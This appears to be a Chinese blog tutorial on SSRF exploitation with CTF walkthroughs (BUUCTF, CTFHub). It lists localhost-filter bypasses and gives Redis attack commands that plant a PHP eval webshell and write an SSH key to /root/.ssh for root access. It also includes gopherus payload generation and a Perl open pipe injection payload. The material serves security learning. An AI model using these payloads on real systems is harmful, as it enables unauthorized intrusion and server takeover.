ssrf漏洞利用+CTF实例

news2024/12/27 18:00:59

引发ssrf漏洞的几个函数

  • file_get_contents() 把整个文件读入一个字符串中,获取本地或者远程文件内容
  • fsockopen() 获得套接字信息
  • curl_exec() 执行一个curl会话,由curl_init()初始化一个新的会话,返回一个curl句柄
  • fopen() 打开文件或者URL
  • readfile() 输出一个文件,读入一个文件并写入到输出缓冲

ssrf用到的协议

  • file协议:获取敏感文件信息——file:///etc/passwd
  • dict协议:探测内网主机以及端口开放情况——ditc://ip:port/命令
  • gopher协议:在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务

常见绕过

1.@符号绕过

http://127.0.0.0.1==http://www.baidu.com@127.0.0.1

2.点分割符号替换(可以使用。来代替.)

http://127。0。0。1

3.本地回环地址的其他表现形式

127.0.0.1,通常被称为本地回环地址,一些其他的表示方法如下:

http://127.0.0.1

http://localhost

http://127.255.255.254 ## 从127.0.0.2-127.255.255.254都可以

http://[::1]

http://[::ffff:7f00:1] 

http://[::ffff:127.0.0.1]

http://127.1

http://127.0.1

http://0:80

4.IP进制转换

点分十进制:127.0.0.1:

八进制:0177.0.0.1

十六进制:0x7f.0.0.1

Redis基础知识

关键词:非关系型数据库,默认端口号是6379,key-value存储系统

## redis的编译安装
wget http://download.redis.io/releases/redis-6.0.8.tar.gz
tar -xzf redis-6.0.8.tar.gz
cd redis-6.0.8
make
cd src
./redis-server # 启动redis
./redis-server ../redis.conf& # 指定配置文件后台运行
./redis-cli -h IP # 运行客户端,可以指定IP远程登录

## 基础语法,在客户端下运行以下命令
select [dbnum] # 换数据库,每个数据库对外都是从0开始的递增数字命名
keys * # 查看所有键
ping # 测试服务是否运行,如果返回PONG则在运行
set name "zhansan" # 设置键值对,这是字符串型,还有hash类型,列表list,集合set,有序集合sorted set
get name # 查看指定键的值
del name # 删除键
quit # 退出
save/bgsave # 持久化操作,会保存在dir/dbfilename

flushdb # 删除当前数据库中数据
flushall # 删除所有数据库中数据

info # 查看redis基本信息

Redis未授权访问漏洞

影响版本

数据库版本在4.x/5.x以下

漏洞产生条件

redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网;没有设置密码认证(一般为空),可以免密码远程登录redis服务。

利用姿势

1.无口令远程登录redist

2.利用redis的持久化写webshell

3.利用持久化利用公私钥认证获取root权限

4.利用主从复制,利用攻击软件获得shell

### 漏洞利用前提条件
## 修改配置文件redis.conf
vi redis.conf 
# 注释掉bind 127.0.0.1,添加bind 0.0.0.0
# 关闭保护模式,否则外部IP无法连接:protected-mode no
## 开启6379端口
firewall-cmd --list-ports # 查看防火墙端口
firewall-cmd --zone=public --add-port=6379/tcp --permanent
firewall-cmd --reload # 重新加载防火墙

### 利用姿势2
./redis-cli -h 靶机IP
config set dir /var/www/html # 要有服务器apache/nginx,并打开80端口
config set dbfilename test.php
set webshell "\r\n\r\n<?php @eval($_POST[1]); ?>\r\n\r\n" # 需要知道网站路径,还要有文件读写权限
save

### 利用姿势3
ssh-keygen -t rsa # 在攻击机中生成ssh公钥和私钥,密码设置为空
cd /root/.ssh # 同时确保靶机也有.ssh文件夹
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt # 将生成的公钥保存到1.txt
cat 1.txt|redis路径/redis-cli -h 靶机IP -x set crack # 连接靶机上的redis服务,将1.txt写入redis,crack为键,1.txt为值
./redis-cli -h 靶机IP # 然后利用持久化把公钥写入靶机中
config set dir /root/.ssh
config set dbfilename authorized-keys
save
ssh -i id_rsa root@靶机IP # 在攻击机上使用ssh免密登录靶机,利用私钥成功登入redis服务器,获得root权限成功

CTF实例

BUUCTF-网鼎杯2020玄武组SSRFMe(主从复制)

1.这题的考点是ssrf漏洞+redis主从复制。题目打开直接给了源码,进行代码审计。

        a.接收get参数url,不为空则进行函数处理。

        b.check_inner_ip函数判断是否为合法内网IP,并使用http或gopher等协议。

        c.safe_request_url函数先用上一个函数判断,返回false会开启curl会话,输入值。

2.在safe_request_url中用到了curl_exec函数,怀疑有ssrf漏洞,同时还有提示:让我们本地访问hint.php。因此我们要绕过check_inner_ip函数。

payload1:
/?url=http://0.0.0.0./hint.php
或:
/?url=http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

    其中0.0.0.0代表本机中所有IPv4地址,监听0.0.0.0的端口就是监听本机中所有IP的端口,后面的第二个payload中的地址是IPv4映射的IPv6地址,此类型地址用于将IPv4节点表示为IPv6地址,它允许IPv6应用程序直接与IPv4应用程序通信。

    IPv4地址是32位,IPv6地址是128位。IPv4映射地址以 0:0:0:0:0:ffff表示前96位(16*6),原IPv4地址转换位十六进制填充后32位(也可以不转换为十六进制)。

3.用上述payload访问hint.php得到redis密码为root,接下来要用redis主从复制,利用目录为/tmp。思路如下:

 创建一个恶意的redis服务器作为redis主机(master),该redis主机能够回应其他连接它的redis从机的响应。有了恶意的redis主机之后,就会远程连接靶机中的redis服务器,通过slaveof命令将目标redis服务器设置为从机(slave)。然后将主机上的exp同步到从机上,并将dbfilename设置为exp.so。最后再控制从机加载模块执行系统命令即可。

但是到加载模块那里试了好久一直报错,无法执行系统命令,用vps也不行(先放在这,哪天解决了再更新)

https://www.cnblogs.com/karsa/p/14123995.html

很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe - FreeBuf网络安全行业门户

CTFHub-技能树-ssrf-redis协议(写webshell)

gopher协议:

在www出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点。Gopher协议没有默认端口所以要指定,因此有了下面的基本格式

最基本的格式:

gopher://<IP>:<port>/_ 后接TCP数据流

Gopher可以发送POST数据也可以发送GET数据。

  • Gopher回车换行是%0d%0a,所以不使用工具总是要自己用脚本把%0a改成%0d%0a。
  • POST参数之间的&分隔符也需要URL编码。
  • 同时Gopher还可以对FTP、Telnet、Redis、Memcache、mysql进行攻击

1.可以利用gopherus工具生成payload

git clone https://github.com/tarunkant/Gopherus
cd Gopherus
chmod +x install.sh
./install.sh # 可以直接用gopherus命令
gopherus --exploit redis

flushall

set 1 '<?php @eval($_POST[1]);?>'

config set dir /var/www/html

config set dbfilename shell.php

save

 2.当出现上面这个页面,可以用file://协议查看一下。然后就可以蚁剑连接

?url=file:///var/www/html/shell.php

BUUCTF-HITCON2017-SSRFMe(Perl语言中GET命令执行) 

1.题目打开给了源码,进行代码审计。

        a.输出当前页面用户的ip

        b.构建md5(orange+ip)的目录,并将它作为当前目录

        c.执行GET拼接shell命令,根据filename的dirname再创建并更换当前目录

        d.将GET命令执行结构写入filename的basename文件中

2.具体做法如下:

payload1:将GET /命令的结果写入test文件中
?url=/&filename=test 

如果GET后面跟路径的话,可以直接获取文件或目录内容,即GET / == ls /,GET /root/flag == cat /root/flag

然后访问/sandbox/md5(orange+ip)/test可以看到:根目录下有flag和readflag文件,

 还想用上面payload读flag,发现不可读取,而readflag是elf执行文件。所以明显的是要执行readflag文件去读取flag。

3.想要执行readflag文件,要利用Perl语言中GET命令执行漏洞。

    在perl语言中,open函数存在命令执行漏洞:如果open文件名中存在管道符|,就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。

    在本题中调用了GET函数,GET使用file协议的时候就会调用到perl的open函数

payload2:
?url=&filename=|/readflag

一开始文件夹下是空的:

后面在执行了payload2后,会多出一个"|/"文件夹,下面就是readflag

所以是为了凑出管道符,而且要执行的命令先前必须要有以命令为文件名的文件存在

 3.执行payload3,由于有管道符|,所以将/readflag直接以命令的形式执行。最后访问对应路径得到flag。

payload3:
?url=file:|/readflag&filename=test

BUUCTF-De1CTF2019-SSRF Me

 1.题目一打开给了python源码,进行代码审计。需要沉下心来慢慢看。

        a.有三个路由,/、/De1ta、/geneSign。在根目录下显示code.txt即源码的文件,在/geneSign下需要传入param参数,输出getSign函数的返回值(getSign返回secert_key+param+action的md5值),显然这两个路由不能得到flag

        b.在/De1ta路由下,有f.read(),应该可以读取flag.txt。想要得到flag需要满足:

        ①需要传入get参数action,cookie参数param和sign。

        ②action要同时包含read和scan。因为如果action里包含scan,会调用scan方法(对param进行url请求),并将scan的返回值写入result.txt;如果action里包含read,会读取result.txt并写入result变量中。

        ③param要有flag.txt(不能包含gopher和file)。因为上面action可以对param进行url请求,读取其中的内容。

        ④sign要等于getSign(action,param)。而想要知道具体md5值,可以通过/geneSign路由,因为它也有调用getSign,而且会返回md5值。现在在/De1ta路由,action=readscan,param=flag.txt,所以会返回secert_key+flag.txtreadscan;但是在/geneSign路由下,action是固定的,为scan,所以这里param不能为flag.txt,要为flag.txtread,才会返回secert_key+flag.txtreadscan。

2.根据上面的代码审计,先访问/geneSign路由,得到对应的MD5值,再访问/De1ta路由,填入对应的参数,即可得到flag。

其他解法:

De1CTF ssrf_me 的三种解法 - 先知社区 (aliyun.com)

哈希拓展攻击

Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI(CVE-2019-9948)

BUUCTF-[第三章web进阶]python里的ssrf

1.题目提示:尝试访问到容器内部的8000端口和url path /api/internal/secret即可获取flag。题目打开显示url parameter is required,需要传入url参数,只能get传入,post传入会报错。

2.当传入?url=http://127.0.0.1,显示127.0.0.1is forbidden。localhost也不行,因此需要绕过127.0.0.1,试了一下:以下的可以得到flag。

?url=http://127.127.127.127:8000/api/internal/secret
?url=http://127.0.0.2:8000/api/internal/secret ## 从127.0.0.2-127.255.255.254都可以
?url=http://0.0.0.0:8000/api/internal/secret
?url=http://0:8000/api/internal/secret

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2129858.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构与算法 | 灵神题单 | 插入链表篇】力扣2807, LCR 029, 147

1. 力扣2807&#xff1a;在链表中插入最大公约数 1.1 题目&#xff1a; 你一个链表的头 head &#xff0c;每个结点包含一个整数值。 在相邻结点之间&#xff0c;请你插入一个新的结点&#xff0c;结点值为这两个相邻结点值的 最大公约数 。 请你返回插入之后的链表。 两个…

前端开发macbook——NVM环境配置以及git配置流程

本文主要针对前端使用mac电脑时需要安装nvm对应环境&#xff0c;一文解决环境安装问题 主要步骤如下&#xff1a; 安装homebrew 安装nvm 安装git 第一步&#xff1a;安装homebrew /bin/bash -c "$(curl -fsSL https:/raw.githubusercontent.com/Homebrew/install/HE…

C++基础(七):类和对象之深浅拷贝问题(中-3)

在C编程中&#xff0c;拷贝构造函数是对象复制的核心机制&#xff0c;尤其是在处理对象间的值传递时。当一个对象通过拷贝另一个对象来初始化时&#xff0c;浅拷贝只是简单地复制对象的成员变量的值。如果对象包含指针成员&#xff0c;浅拷贝只复制指针地址&#xff0c;这可能会…

基于matlab交通标志识别系统用的APP designer设计的gui界面 交互原理:bp神经网络-训练好图像处理有灰度化-二值化-颜色区域定位识别

基于MATLAB的交通标志识别系统是一个实用的工具&#xff0c;用于识别道路交通标志。该系统结合了图像处理技术和BP神经网络模型&#xff0c;可以在给定的图像中定位并识别交通标志。通过使用MATLAB的App Designer工具&#xff0c;系统还提供了一个交互式的图形用户界面&#xf…

【idea-安装】

JetBrains官⽹ : https://www.jetbrains.com/ 1.下载idea安装包&#xff0c;下载旧一些的版本&#xff0c;避免新版本的不稳定。 下载下来的安装包是exe格式的&#xff0c;直接点击运行。 点击Next 2.选择要下载的位置&#xff0c;点击下一步。 3.选择⽣成快捷⽅式和建⽴⽂件…

从头开始学MyBatis—01搭建基础框架

首先对mybatis进行一个简单的介绍&#xff0c;然后从最基础的准备工作开始搭建一个mybatis的开发 环境&#xff0c;最后通过简单的增删改查来熟悉配置文件和映射文件的编写。 目录 1.Mybaits简介 2.开发环境和准备工作 2.1开发环境 2.2pom文件 2.3数据库和表 2.4对应实体…

探索Python世界的隐藏宝石:Pika库的神秘力量

文章目录 探索Python世界的隐藏宝石&#xff1a;Pika库的神秘力量背景&#xff1a;为何选择Pika&#xff1f;Pik库简介如何安装Pika&#xff1f;简单库函数使用方法场景应用常见Bug及解决方案总结 探索Python世界的隐藏宝石&#xff1a;Pika库的神秘力量 背景&#xff1a;为何…

【机器学习】8 ——朴素贝叶斯

机器学习 8 ——朴素贝叶斯 特征条件独立假设 朴素是指每个特征独立地影响结果&#xff0c;整个假设在实际应用中不成立&#xff0c;主要是思想 输入输出的来拟合概率分布&#xff0c;贝叶斯定理&#xff0c;后验概率最大 文章目录 机器学习 8 ——朴素贝叶斯前言贝叶斯定理先…

vue2使用ag-grid表格

ag-grid官网&#xff1a;Vue Grid: Custom Components | AG Grid 根据官方文档说的AG Grid no longer supports Vue 2. The last version to support Vue 2 is AG Grid v31.3.&#xff0c;目前只有v31.3.版本支持vue2。 以下是官方给的demo Vue Grid: Get Started with AG G…

C# WPF编程-串口通信

C# WPF编程-串口通信 串口通信1. NuGet安装System.IO.Ports2. 界面布局XAML3. C#代码4. 运行效果源码下载 串口通信 1. NuGet安装System.IO.Ports 2. 界面布局XAML <Window x:Class"BlocksTools.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006…

Python 从入门到实战15(字符串其它操作)

我们的目标是&#xff1a;通过这一套资料学习下来&#xff0c;通过熟练掌握python基础&#xff0c;然后结合经典实例、实践相结合&#xff0c;使我们完全掌握python&#xff0c;并做到独立完成项目开发的能力。 上篇文章我们通过举例学习了字符串一些操作说明。今天继续讨论字符…

Java数组08:ArrayList简介

本节内容视频链接&#xff1a; Java关于ArrayList的简单用法与介绍_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1CC4y177CW/?spm_id_from333.337.search-card.all.click&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5Java的ArrayList简介_哔哩哔哩_bilibilihttps:…

Leetcode面试经典150题-27.移除元素

解法都在代码里&#xff0c;不懂就留言或者私信 超级简单的题&#xff0c;一般出现在笔试里&#xff0c;但是不知道为啥字节高频题里会排的那么靠前 class Solution {public int removeElement(int[] nums, int val) {/**如果数组为空&#xff0c;没什么可操作的&#xff0c;…

产业园服务体系建设,是否已全面覆盖企业成长的每一个阶段?

在当今竞争激烈的商业环境中&#xff0c;产业园作为企业发展的重要载体&#xff0c;其服务体系的完善程度至关重要。那么&#xff0c;产业园服务体系建设&#xff0c;是否已全面覆盖企业成长的每一个阶段呢&#xff1f; 从企业的初创期来看&#xff0c;产业园可以提供办公场地的…

【JUC】15-ThreadLocal线程局部变量

1. ThreadLocal ThreadLocal提供线程局部变量。每个线程在访问ThreadLocal实例的时候都有自己的、独立的变量副本。ThreadLocal实例通常是类中的私有静态字段&#xff0c;使用它的目的是希望将状态(用户ID或事务ID)与线程关联起来。 class Saler {ThreadLocal<Integer> …

基于Boost库的搜索引擎开发实践

目录 1.项目相关背景2.宏观原理3.相关技术栈和环境4.正排、倒排索引原理5.去标签和数据清洗模块parser5.1.认识标签5.2.准备数据源5.3.编写数据清洗代码parser5.3.1.编写读取文件Readfile5.3.2.编写分析文件Anafile5.3.2.编写保存清洗后数据SaveHtml5.3.2.测试parser 6.编写索引…

HPM6E00:PWM V2使用指南

先楫推出的HPM6E00系列芯片&#xff0c;PWM功能升级到了V2版本。和V1版本不同的是&#xff0c;V2版本的每组PWM模块包含4个独立的PWM生成模块&#xff0c;每个PWM生成模块包含一个counter和4个比较器&#xff0c;可以生成4组频率不同的PWM波。每个PWM生成模块&#xff0c;对应生…

​​​​通过给定一个全屏的位置得到该位置处是哪一个控件、 遍历窗口中的每一个元素

通过给定一个全屏的位置得到该位置处是哪一个控件&#xff08;以下方法&#xff09; [static] QWidget *QApplication::widgetAt(const QPoint &point) 场景&#xff1a;通过位置获取该位置处的widget后&#xff0c;然后进行判断&#xff0c;是不是某个或某些控件&#x…

韩语中的多义词 (치다)柯桥学韩语到蓝天广场附近

치다 1. 表示用毛笔、铅笔等点点、划线或者绘图。 예: 밑줄을 치다. 划底线 중요한 부분에 동그라미를 쳤다. 在重要的部分画上圆圈。 2. 表示倾倒少量液体或者粉末之类的东西。 예: 싱거우니 소금을 쳐야겠다. 味道淡&#xff0c;得再撒点盐。 기계에 기름을 치다. 给机…

小众创新组合!LightGBM+BO-Transformer-LSTM多变量回归交通流量预测(Matlab)

小众创新组合&#xff01;LightGBMBO-Transformer-LSTM多变量回归交通流量预测(Matlab) 目录 小众创新组合&#xff01;LightGBMBO-Transformer-LSTM多变量回归交通流量预测(Matlab)效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现LightGBMBO-Transformer-L…